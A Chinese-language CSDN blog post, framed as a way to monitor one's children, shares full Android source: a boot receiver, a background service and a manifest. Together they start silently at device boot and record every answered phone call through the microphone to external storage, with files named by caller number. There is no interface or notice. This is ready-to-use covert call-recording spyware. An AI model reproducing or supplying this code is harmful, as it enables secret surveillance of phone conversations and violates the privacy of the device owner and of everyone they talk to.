分享一段代码来实现对孩子的监督-优快云博客

本文介绍了一个Android应用案例，通过自定义的服务和广播接收器实现对电话状态的监听，并在电话接通时启动录音功能，记录通话内容。应用涉及的权限包括读取电话状态、录音等。

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public class BootBroadcastReceiver extends BroadcastReceiver{

	@Override
	public void onReceive(Context context, Intent intent) {
		Intent service = new Intent(context, PhoneService.class);
		context.startService(service);
	}

}

public class PhoneService extends Service {
	private final String TAG="PhoneService";
	@Override
	public IBinder onBind(Intent intent) {
		// TODO Auto-generated method stub
		return null;
	}

	@Override
	public void onCreate() {
		// TODO Auto-generated method stub
		super.onCreate();
		TelephonyManager manager=(TelephonyManager)this.getSystemService(Context.TELEPHONY_SERVICE);
		manager.listen(phonyListener,PhoneStateListener.LISTEN_CALL_STATE);//监听电话状态
		Log.i(TAG,"启动服务");
	}
	PhoneStateListener phonyListener=new PhoneStateListener(){
		private String number;
		private MediaRecorder mRecorder;
		@Override
		public void onCallStateChanged(int state, String incomingNumber) {
			// TODO Auto-generated method stub
			super.onCallStateChanged(state, incomingNumber);
			switch (state) {
			case TelephonyManager.CALL_STATE_IDLE://挂断
				if(mRecorder!=null){
					Log.i(TAG,"录音完成");
					mRecorder.stop();//停止
					mRecorder.release();//释放
				}
				break;
			case TelephonyManager.CALL_STATE_OFFHOOK://接起电话
				Log.i(TAG,"开始录音");
				try{
					mRecorder=new MediaRecorder();
					mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);//从麦克风采集声音
					mRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//设置储存格式
					mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//设置编码格式
					mRecorder.setOutputFile(Environment.getExternalStorageDirectory()+"/"+number+"_"+System.currentTimeMillis()+".3gp");
					mRecorder.prepare();//预备
					mRecorder.start();//开始
				}catch (Exception e) {
					Log.e(TAG,e.toString());
				}
				break;
			case TelephonyManager.CALL_STATE_RINGING://来电显示
				number=incomingNumber;
				Log.i(TAG,number);
				break;
			default:
				break;
			}
		}
		
	};
}

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package="com.android.phonelisten"
      android:versionCode="1"
      android:versionName="1.0">
 <!-- 读取电话状态权限 -->
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <!-- 音频刻录权限 -->
    <uses-permission android:name="android.permission.RECORD_AUDIO" />
    <!-- 对外部文件的写入和删除权限 -->
    <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS" />
    <!-- 对外部存储设备的写入权限 -->
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <!-- 开机广播 -->
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>

    <application android:icon="@drawable/icon" android:label="@string/app_name">

      <receiver android:name=".BootBroadcastReceiver">
        <intent-filter>
	         <action android:name="android.intent.action.BOOT_COMPLETED"/>
	       </intent-filter>
		</receiver>
        <service android:name=".PhoneService"></service>

    </application>
</manifest>